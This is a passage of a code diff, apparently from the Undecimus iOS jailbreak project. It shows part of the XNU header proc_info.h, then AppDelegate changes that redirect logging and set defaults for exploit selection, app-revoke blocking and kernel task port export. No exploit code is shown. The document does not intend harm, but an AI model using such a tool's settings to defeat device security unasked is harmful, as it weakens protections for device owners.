struct pipe_fdinfo {
|
||||
struct proc_fileinfo pfi;
|
||||
struct pipe_info pipeinfo;
|
||||
};
|
||||
|
||||
|
||||
struct kqueue_info {
|
||||
struct vinfo_stat kq_stat;
|
||||
uint32_t kq_state;
|
||||
uint32_t rfu_1; /* reserved */
|
||||
};
|
||||
|
||||
struct kqueue_dyninfo {
|
||||
struct kqueue_info kqdi_info;
|
||||
uint64_t kqdi_servicer;
|
||||
uint64_t kqdi_owner;
|
||||
uint32_t kqdi_sync_waiters;
|
||||
uint8_t kqdi_sync_waiter_qos;
|
||||
uint8_t kqdi_async_qos;
|
||||
uint16_t kqdi_request_state;
|
||||
uint8_t kqdi_events_qos;
|
||||
uint8_t _kqdi_reserved0[7];
|
||||
uint64_t _kqdi_reserved1[4];
|
||||
};
|
||||
|
||||
/* keep in sync with KQ_* in sys/eventvar.h */
|
||||
#define PROC_KQUEUE_SELECT 0x01
|
||||
#define PROC_KQUEUE_SLEEP 0x02
|
||||
#define PROC_KQUEUE_32 0x08
|
||||
#define PROC_KQUEUE_64 0x10
|
||||
#define PROC_KQUEUE_QOS 0x20
|
||||
|
||||
#ifdef PRIVATE
|
||||
struct kevent_extinfo {
|
||||
struct kevent_qos_s kqext_kev;
|
||||
uint64_t kqext_sdata;
|
||||
int kqext_status;
|
||||
int kqext_sfflags;
|
||||
uint64_t kqext_reserved[2];
|
||||
};
|
||||
#endif /* PRIVATE */
|
||||
|
||||
struct kqueue_fdinfo {
|
||||
struct proc_fileinfo pfi;
|
||||
struct kqueue_info kqueueinfo;
|
||||
};
|
||||
|
||||
struct appletalk_info {
|
||||
struct vinfo_stat atalk_stat;
|
||||
};
|
||||
|
||||
struct appletalk_fdinfo {
|
||||
struct proc_fileinfo pfi;
|
||||
struct appletalk_info appletalkinfo;
|
||||
};
|
||||
|
||||
|
||||
|
||||
/* defns of process file desc type */
|
||||
#define PROX_FDTYPE_ATALK 0
|
||||
#define PROX_FDTYPE_VNODE 1
|
||||
#define PROX_FDTYPE_SOCKET 2
|
||||
#define PROX_FDTYPE_PSHM 3
|
||||
#define PROX_FDTYPE_PSEM 4
|
||||
#define PROX_FDTYPE_KQUEUE 5
|
||||
#define PROX_FDTYPE_PIPE 6
|
||||
#define PROX_FDTYPE_FSEVENTS 7
|
||||
#define PROX_FDTYPE_NETPOLICY 9
|
||||
|
||||
struct proc_fdinfo {
|
||||
int32_t proc_fd;
|
||||
uint32_t proc_fdtype;
|
||||
};
|
||||
|
||||
struct proc_fileportinfo {
|
||||
uint32_t proc_fileport;
|
||||
uint32_t proc_fdtype;
|
||||
};
|
||||
|
||||
|
||||
/* Flavors for proc_pidinfo() */
|
||||
#define PROC_PIDLISTFDS 1
|
||||
#define PROC_PIDLISTFD_SIZE (sizeof(struct proc_fdinfo))
|
||||
|
||||
#define PROC_PIDTASKALLINFO 2
|
||||
#define PROC_PIDTASKALLINFO_SIZE (sizeof(struct proc_taskallinfo))
|
||||
|
||||
#define PROC_PIDTBSDINFO 3
|
||||
#define PROC_PIDTBSDINFO_SIZE (sizeof(struct proc_bsdinfo))
|
||||
|
||||
#define PROC_PIDTASKINFO 4
|
||||
#define PROC_PIDTASKINFO_SIZE (sizeof(struct proc_taskinfo))
|
||||
|
||||
#define PROC_PIDTHREADINFO 5
|
||||
#define PROC_PIDTHREADINFO_SIZE (sizeof(struct proc_threadinfo))
|
||||
|
||||
#define PROC_PIDLISTTHREADS 6
|
||||
#define PROC_PIDLISTTHREADS_SIZE (2* sizeof(uint32_t))
|
||||
|
||||
|
||||
#define PROC_PIDREGIONINFO 7
|
||||
#define PROC_PIDREGIONINFO_SIZE (sizeof(struct proc_regioninfo))
|
||||
|
||||
#define PROC_PIDREGIONPATHINFO 8
|
||||
#define PROC_PIDREGIONPATHINFO_SIZE (sizeof(struct proc_regionwithpathinfo))
|
||||
|
||||
#define PROC_PIDVNODEPATHINFO 9
|
||||
#define PROC_PIDVNODEPATHINFO_SIZE (sizeof(struct proc_vnodepathinfo))
|
||||
|
||||
#define PROC_PIDTHREADPATHINFO 10
|
||||
#define PROC_PIDTHREADPATHINFO_SIZE (sizeof(struct proc_threadwithpathinfo))
|
||||
|
||||
#define PROC_PIDPATHINFO 11
|
||||
#define PROC_PIDPATHINFO_SIZE (MAXPATHLEN)
|
||||
#define PROC_PIDPATHINFO_MAXSIZE (4*MAXPATHLEN)
|
||||
|
||||
#define PROC_PIDWORKQUEUEINFO 12
|
||||
#define PROC_PIDWORKQUEUEINFO_SIZE (sizeof(struct proc_workqueueinfo))
|
||||
|
||||
#define PROC_PIDT_SHORTBSDINFO 13
|
||||
#define PROC_PIDT_SHORTBSDINFO_SIZE (sizeof(struct proc_bsdshortinfo))
|
||||
|
||||
#define PROC_PIDLISTFILEPORTS 14
|
||||
#define PROC_PIDLISTFILEPORTS_SIZE (sizeof(struct proc_fileportinfo))
|
||||
|
||||
#define PROC_PIDTHREADID64INFO 15
|
||||
#define PROC_PIDTHREADID64INFO_SIZE (sizeof(struct proc_threadinfo))
|
||||
|
||||
#define PROC_PID_RUSAGE 16
|
||||
#define PROC_PID_RUSAGE_SIZE 0
|
||||
|
||||
#ifdef PRIVATE
|
||||
#define PROC_PIDUNIQIDENTIFIERINFO 17
|
||||
#define PROC_PIDUNIQIDENTIFIERINFO_SIZE \
|
||||
(sizeof(struct proc_uniqidentifierinfo))
|
||||
|
||||
#define PROC_PIDT_BSDINFOWITHUNIQID 18
|
||||
#define PROC_PIDT_BSDINFOWITHUNIQID_SIZE \
|
||||
(sizeof(struct proc_bsdinfowithuniqid))
|
||||
|
||||
#define PROC_PIDARCHINFO 19
|
||||
#define PROC_PIDARCHINFO_SIZE \
|
||||
(sizeof(struct proc_archinfo))
|
||||
|
||||
#define PROC_PIDCOALITIONINFO 20
|
||||
#define PROC_PIDCOALITIONINFO_SIZE (sizeof(struct proc_pidcoalitioninfo))
|
||||
|
||||
#define PROC_PIDNOTEEXIT 21
|
||||
#define PROC_PIDNOTEEXIT_SIZE (sizeof(uint32_t))
|
||||
|
||||
#define PROC_PIDREGIONPATHINFO2 22
|
||||
#define PROC_PIDREGIONPATHINFO2_SIZE (sizeof(struct proc_regionwithpathinfo))
|
||||
|
||||
#define PROC_PIDREGIONPATHINFO3 23
|
||||
#define PROC_PIDREGIONPATHINFO3_SIZE (sizeof(struct proc_regionwithpathinfo))
|
||||
|
||||
#define PROC_PIDEXITREASONINFO 24
|
||||
#define PROC_PIDEXITREASONINFO_SIZE (sizeof(struct proc_exitreasoninfo))
|
||||
|
||||
#define PROC_PIDEXITREASONBASICINFO 25
|
||||
#define PROC_PIDEXITREASONBASICINFOSIZE (sizeof(struct proc_exitreasonbasicinfo))
|
||||
|
||||
#define PROC_PIDLISTUPTRS 26
|
||||
#define PROC_PIDLISTUPTRS_SIZE (sizeof(uint64_t))
|
||||
|
||||
#define PROC_PIDLISTDYNKQUEUES 27
|
||||
#define PROC_PIDLISTDYNKQUEUES_SIZE (sizeof(kqueue_id_t))
|
||||
|
||||
#endif
|
||||
|
||||
/* Flavors for proc_pidfdinfo */
|
||||
|
||||
#define PROC_PIDFDVNODEINFO 1
|
||||
#define PROC_PIDFDVNODEINFO_SIZE (sizeof(struct vnode_fdinfo))
|
||||
|
||||
#define PROC_PIDFDVNODEPATHINFO 2
|
||||
#define PROC_PIDFDVNODEPATHINFO_SIZE (sizeof(struct vnode_fdinfowithpath))
|
||||
|
||||
#define PROC_PIDFDSOCKETINFO 3
|
||||
#define PROC_PIDFDSOCKETINFO_SIZE (sizeof(struct socket_fdinfo))
|
||||
|
||||
#define PROC_PIDFDPSEMINFO 4
|
||||
#define PROC_PIDFDPSEMINFO_SIZE (sizeof(struct psem_fdinfo))
|
||||
|
||||
#define PROC_PIDFDPSHMINFO 5
|
||||
#define PROC_PIDFDPSHMINFO_SIZE (sizeof(struct pshm_fdinfo))
|
||||
|
||||
#define PROC_PIDFDPIPEINFO 6
|
||||
#define PROC_PIDFDPIPEINFO_SIZE (sizeof(struct pipe_fdinfo))
|
||||
|
||||
#define PROC_PIDFDKQUEUEINFO 7
|
||||
#define PROC_PIDFDKQUEUEINFO_SIZE (sizeof(struct kqueue_fdinfo))
|
||||
|
||||
#define PROC_PIDFDATALKINFO 8
|
||||
#define PROC_PIDFDATALKINFO_SIZE (sizeof(struct appletalk_fdinfo))
|
||||
|
||||
#ifdef PRIVATE
|
||||
#define PROC_PIDFDKQUEUE_EXTINFO 9
|
||||
#define PROC_PIDFDKQUEUE_EXTINFO_SIZE (sizeof(struct kevent_extinfo))
|
||||
#define PROC_PIDFDKQUEUE_KNOTES_MAX (1024 * 128)
|
||||
#define PROC_PIDDYNKQUEUES_MAX (1024 * 128)
|
||||
#endif /* PRIVATE */
|
||||
|
||||
|
||||
/* Flavors for proc_pidfileportinfo */
|
||||
|
||||
#define PROC_PIDFILEPORTVNODEPATHINFO 2 /* out: vnode_fdinfowithpath */
|
||||
#define PROC_PIDFILEPORTVNODEPATHINFO_SIZE \
|
||||
PROC_PIDFDVNODEPATHINFO_SIZE
|
||||
|
||||
#define PROC_PIDFILEPORTSOCKETINFO 3 /* out: socket_fdinfo */
|
||||
#define PROC_PIDFILEPORTSOCKETINFO_SIZE PROC_PIDFDSOCKETINFO_SIZE
|
||||
|
||||
#define PROC_PIDFILEPORTPSHMINFO 5 /* out: pshm_fdinfo */
|
||||
#define PROC_PIDFILEPORTPSHMINFO_SIZE PROC_PIDFDPSHMINFO_SIZE
|
||||
|
||||
#define PROC_PIDFILEPORTPIPEINFO 6 /* out: pipe_fdinfo */
|
||||
#define PROC_PIDFILEPORTPIPEINFO_SIZE PROC_PIDFDPIPEINFO_SIZE
|
||||
|
||||
/* used for proc_setcontrol */
|
||||
#define PROC_SELFSET_PCONTROL 1
|
||||
|
||||
#define PROC_SELFSET_THREADNAME 2
|
||||
#define PROC_SELFSET_THREADNAME_SIZE (MAXTHREADNAMESIZE -1)
|
||||
|
||||
#define PROC_SELFSET_VMRSRCOWNER 3
|
||||
|
||||
#define PROC_SELFSET_DELAYIDLESLEEP 4
|
||||
|
||||
/* used for proc_dirtycontrol */
|
||||
#define PROC_DIRTYCONTROL_TRACK 1
|
||||
#define PROC_DIRTYCONTROL_SET 2
|
||||
#define PROC_DIRTYCONTROL_GET 3
|
||||
#define PROC_DIRTYCONTROL_CLEAR 4
|
||||
|
||||
/* proc_track_dirty() flags */
|
||||
#define PROC_DIRTY_TRACK 0x1
|
||||
#define PROC_DIRTY_ALLOW_IDLE_EXIT 0x2
|
||||
#define PROC_DIRTY_DEFER 0x4
|
||||
#define PROC_DIRTY_LAUNCH_IN_PROGRESS 0x8
|
||||
|
||||
/* proc_get_dirty() flags */
|
||||
#define PROC_DIRTY_TRACKED 0x1
|
||||
#define PROC_DIRTY_ALLOWS_IDLE_EXIT 0x2
|
||||
#define PROC_DIRTY_IS_DIRTY 0x4
|
||||
#define PROC_DIRTY_LAUNCH_IS_IN_PROGRESS 0x8
|
||||
|
||||
#ifdef PRIVATE
|
||||
|
||||
/* Flavors for proc_pidoriginatorinfo */
|
||||
#define PROC_PIDORIGINATOR_UUID 0x1
|
||||
#define PROC_PIDORIGINATOR_UUID_SIZE (sizeof(uuid_t))
|
||||
|
||||
#define PROC_PIDORIGINATOR_BGSTATE 0x2
|
||||
#define PROC_PIDORIGINATOR_BGSTATE_SIZE (sizeof(uint32_t))
|
||||
|
||||
#define PROC_PIDORIGINATOR_PID_UUID 0x3
|
||||
#define PROC_PIDORIGINATOR_PID_UUID_SIZE (sizeof(struct proc_originatorinfo))
|
||||
|
||||
/* Flavors for proc_listcoalitions */
|
||||
#define LISTCOALITIONS_ALL_COALS 1
|
||||
#define LISTCOALITIONS_ALL_COALS_SIZE (sizeof(struct procinfo_coalinfo))
|
||||
|
||||
#define LISTCOALITIONS_SINGLE_TYPE 2
|
||||
#define LISTCOALITIONS_SINGLE_TYPE_SIZE (sizeof(struct procinfo_coalinfo))
|
||||
|
||||
/* reasons for proc_can_use_foreground_hw */
|
||||
#define PROC_FGHW_OK 0 /* pid may use foreground HW */
|
||||
#define PROC_FGHW_DAEMON_OK 1
|
||||
#define PROC_FGHW_DAEMON_LEADER 10 /* pid is in a daemon coalition */
|
||||
#define PROC_FGHW_LEADER_NONUI 11 /* coalition leader is in a non-focal state */
|
||||
#define PROC_FGHW_LEADER_BACKGROUND 12 /* coalition leader is in a background state */
|
||||
#define PROC_FGHW_DAEMON_NO_VOUCHER 13 /* pid is a daemon with no adopted voucher */
|
||||
#define PROC_FGHW_NO_VOUCHER_ATTR 14 /* pid has adopted a voucher with no bank/originator attribute */
|
||||
#define PROC_FGHW_NO_ORIGINATOR 15 /* pid has adopted a voucher for a process that's gone away */
|
||||
#define PROC_FGHW_ORIGINATOR_BACKGROUND 16 /* pid has adopted a voucher for an app that's in the background */
|
||||
#define PROC_FGHW_VOUCHER_ERROR 98 /* error in voucher / originator callout */
|
||||
#define PROC_FGHW_ERROR 99 /* syscall parameter/permissions error */
|
||||
|
||||
/* flavors for proc_piddynkqueueinfo */
|
||||
#ifdef PRIVATE
|
||||
#define PROC_PIDDYNKQUEUE_INFO 0
|
||||
#define PROC_PIDDYNKQUEUE_INFO_SIZE (sizeof(struct kqueue_dyninfo))
|
||||
#define PROC_PIDDYNKQUEUE_EXTINFO 1
|
||||
#define PROC_PIDDYNKQUEUE_EXTINFO_SIZE (sizeof(struct kevent_extinfo))
|
||||
#endif
|
||||
|
||||
/* __proc_info() call numbers */
|
||||
#define PROC_INFO_CALL_LISTPIDS 0x1
|
||||
#define PROC_INFO_CALL_PIDINFO 0x2
|
||||
#define PROC_INFO_CALL_PIDFDINFO 0x3
|
||||
#define PROC_INFO_CALL_KERNMSGBUF 0x4
|
||||
#define PROC_INFO_CALL_SETCONTROL 0x5
|
||||
#define PROC_INFO_CALL_PIDFILEPORTINFO 0x6
|
||||
#define PROC_INFO_CALL_TERMINATE 0x7
|
||||
#define PROC_INFO_CALL_DIRTYCONTROL 0x8
|
||||
#define PROC_INFO_CALL_PIDRUSAGE 0x9
|
||||
#define PROC_INFO_CALL_PIDORIGINATORINFO 0xa
|
||||
#define PROC_INFO_CALL_LISTCOALITIONS 0xb
|
||||
#define PROC_INFO_CALL_CANUSEFGHW 0xc
|
||||
#define PROC_INFO_CALL_PIDDYNKQUEUEINFO 0xd
|
||||
|
||||
#endif /* PRIVATE */
|
||||
|
||||
#ifdef XNU_KERNEL_PRIVATE
|
||||
#ifndef pshmnode
|
||||
struct pshmnode;
|
||||
#endif
|
||||
|
||||
#ifndef psemnode
|
||||
struct psemnode ;
|
||||
#endif
|
||||
|
||||
#ifndef pipe
|
||||
struct pipe;
|
||||
#endif
|
||||
|
||||
extern int fill_socketinfo(socket_t so, struct socket_info *si);
|
||||
extern int fill_pshminfo(struct pshmnode * pshm, struct pshm_info * pinfo);
|
||||
extern int fill_pseminfo(struct psemnode * psem, struct psem_info * pinfo);
|
||||
extern int fill_pipeinfo(struct pipe * cpipe, struct pipe_info * pinfo);
|
||||
extern int fill_kqueueinfo(struct kqueue * kq, struct kqueue_info * kinfo);
|
||||
extern int pid_kqueue_extinfo(proc_t, struct kqueue * kq, user_addr_t buffer,
|
||||
uint32_t buffersize, int32_t * retval);
|
||||
extern int pid_kqueue_udatainfo(proc_t p, struct kqueue *kq, uint64_t *buf,
|
||||
uint32_t bufsize);
|
||||
extern int pid_kqueue_listdynamickqueues(proc_t p, user_addr_t ubuf,
|
||||
uint32_t bufsize, int32_t *retval);
|
||||
extern int pid_dynamickqueue_extinfo(proc_t p, kqueue_id_t kq_id,
|
||||
user_addr_t ubuf, uint32_t bufsize, int32_t *retval);
|
||||
extern int fill_procworkqueue(proc_t, struct proc_workqueueinfo *);
|
||||
extern boolean_t workqueue_get_pwq_exceeded(void *v, boolean_t *exceeded_total,
|
||||
boolean_t *exceeded_constrained);
|
||||
extern uint32_t workqueue_get_pwq_state_kdp(void *proc);
|
||||
|
||||
#endif /* XNU_KERNEL_PRIVATE */
|
||||
|
||||
__END_DECLS
|
||||
|
||||
#endif /*_SYS_PROC_INFO_H */
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -3,7 +3,7 @@
|
||||
// Undecimus
|
||||
//
|
||||
// Created by pwn20wnd on 8/29/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
@@ -11,7 +11,9 @@
|
||||
@interface AppDelegate : UIResponder <UIApplicationDelegate>
|
||||
|
||||
@property (strong, nonatomic) UIWindow *window;
|
||||
|
||||
@property (strong, atomic) NSPipe *combinedPipe;
|
||||
@property (assign) int orig_stderr;
|
||||
@property (assign) int orig_stdout;
|
||||
|
||||
@end
|
||||
|
||||
|
||||
+142
-74
@@ -3,12 +3,14 @@
|
||||
// Undecimus
|
||||
//
|
||||
// Created by pwn20wnd on 8/29/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#include <sys/time.h>
|
||||
#import "AppDelegate.h"
|
||||
#include "ViewController.h"
|
||||
#include "JailbreakViewController.h"
|
||||
#include "SettingsTableViewController.h"
|
||||
#include "utils.h"
|
||||
|
||||
@interface AppDelegate ()
|
||||
|
||||
@@ -16,81 +18,147 @@
|
||||
|
||||
@implementation AppDelegate
|
||||
|
||||
-(AppDelegate*)init {
|
||||
self = [super init];
|
||||
enableLogging();
|
||||
_combinedPipe = [NSPipe pipe];
|
||||
_orig_stdout = dup(STDOUT_FILENO);
|
||||
_orig_stderr = dup(STDERR_FILENO);
|
||||
dup2(_combinedPipe.fileHandleForWriting.fileDescriptor, STDOUT_FILENO);
|
||||
dup2(_combinedPipe.fileHandleForWriting.fileDescriptor, STDERR_FILENO);
|
||||
[self performSelectorInBackground:@selector(handlePipe) withObject:nil];
|
||||
return self;
|
||||
}
|
||||
|
||||
-(NSString*)readDataFromFD:(int)infd toFD:(int)outfd {
|
||||
char s[0x10000];
|
||||
|
||||
ssize_t nread = read(infd, s, sizeof(s));
|
||||
if (nread > 0) {
|
||||
write(outfd, s, nread);
|
||||
}
|
||||
if (logfd > 0) {
|
||||
if (write(logfd, s, nread) != nread) {
|
||||
write(_orig_stderr, "error writing to logfile\n", 26);
|
||||
}
|
||||
}
|
||||
return [[NSString alloc] initWithBytes:s length:nread encoding:NSUTF8StringEncoding];
|
||||
}
|
||||
|
||||
- (void)handlePipe {
|
||||
fd_set fds;
|
||||
NSMutableString *outline = [NSMutableString new];
|
||||
|
||||
int input_fd = _combinedPipe.fileHandleForReading.fileDescriptor;
|
||||
int rv;
|
||||
|
||||
do {
|
||||
FD_ZERO(&fds);
|
||||
FD_SET(input_fd, &fds);
|
||||
rv = select(FD_SETSIZE, &fds, NULL, NULL, NULL);
|
||||
if (FD_ISSET(input_fd, &fds)) {
|
||||
NSString *read = [self readDataFromFD:input_fd toFD:_orig_stdout];
|
||||
[outline appendString:read];
|
||||
NSRange lastNewline = [read rangeOfString:@"\n" options:NSBackwardsSearch];
|
||||
if (lastNewline.location != NSNotFound) {
|
||||
lastNewline.location = outline.length - (read.length - lastNewline.location);
|
||||
NSRange wanted = {0, lastNewline.location + 1};
|
||||
[JailbreakViewController.sharedController appendTextToOutput:[outline substringWithRange:wanted]];
|
||||
[outline deleteCharactersInRange:wanted];
|
||||
}
|
||||
}
|
||||
} while (rv > 0);
|
||||
}
|
||||
|
||||
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
|
||||
// Override point for customization after application launch.
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_TWEAK_INJECTION] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:@K_TWEAK_INJECTION];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_LOAD_DAEMONS] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:@K_LOAD_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_DUMP_APTICKET] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:@K_DUMP_APTICKET];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_REFRESH_ICON_CACHE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:@K_REFRESH_ICON_CACHE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_BOOT_NONCE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setObject:@"0xbd34a880be0b53f3" forKey:@K_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] integerForKey:@K_EXPLOIT] == MULTI_PATH && !hasMPTCP()) {
|
||||
[[NSUserDefaults standardUserDefaults] removeObjectForKey:@K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_EXPLOIT] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setInteger:selectJailbreakExploit() forKey:@K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_DISABLE_AUTO_UPDATES] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:@K_DISABLE_AUTO_UPDATES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_DISABLE_APP_REVOKES] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:@K_DISABLE_APP_REVOKES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_OVERWRITE_BOOT_NONCE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:@K_OVERWRITE_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_EXPORT_KERNEL_TASK_PORT] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:@K_EXPORT_KERNEL_TASK_PORT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_RESTORE_ROOTFS] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:@K_RESTORE_ROOTFS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_INCREASE_MEMORY_LIMIT] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:@K_INCREASE_MEMORY_LIMIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_ECID] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setObject:@"0x0" forKey:@K_ECID];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_INSTALL_CYDIA] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:@K_INSTALL_CYDIA];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_INSTALL_OPENSSH] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:@K_INSTALL_OPENSSH];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:@K_RELOAD_SYSTEM_DAEMONS] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:@K_RELOAD_SYSTEM_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
[self SetUpShortcuts];
|
||||
[self initPrefs];
|
||||
[self initShortcuts];
|
||||
return YES;
|
||||
}
|
||||
|
||||
- (void)SetUpShortcuts {
|
||||
|
||||
- (void)initPrefs {
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_TWEAK_INJECTION] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_TWEAK_INJECTION];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_LOAD_DAEMONS] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_LOAD_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_DUMP_APTICKET] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_DUMP_APTICKET];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_REFRESH_ICON_CACHE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_REFRESH_ICON_CACHE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_BOOT_NONCE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setObject:@"0xbd34a880be0b53f3" forKey:K_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_EXPLOIT] != nil &&
|
||||
!supportsExploit([[NSUserDefaults standardUserDefaults] integerForKey:K_EXPLOIT])) {
|
||||
[[NSUserDefaults standardUserDefaults] removeObjectForKey:K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_EXPLOIT] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setInteger:recommendedJailbreakSupport() forKey:K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_DISABLE_AUTO_UPDATES] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_DISABLE_AUTO_UPDATES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_DISABLE_APP_REVOKES] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_DISABLE_APP_REVOKES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_OVERWRITE_BOOT_NONCE] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:YES forKey:K_OVERWRITE_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_EXPORT_KERNEL_TASK_PORT] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_EXPORT_KERNEL_TASK_PORT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_RESTORE_ROOTFS] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_RESTORE_ROOTFS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_INCREASE_MEMORY_LIMIT] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_INCREASE_MEMORY_LIMIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_ECID] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setObject:@"0x0" forKey:K_ECID];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_INSTALL_CYDIA] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_INSTALL_CYDIA];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_INSTALL_OPENSSH] == nil) {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:NO forKey:K_INSTALL_OPENSSH];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
}
|
||||
if ([[NSUserDefaults standardUserDefaults] objectForKey:K_RELOAD_SYSTEM_DAEMONS] == nil) {
|
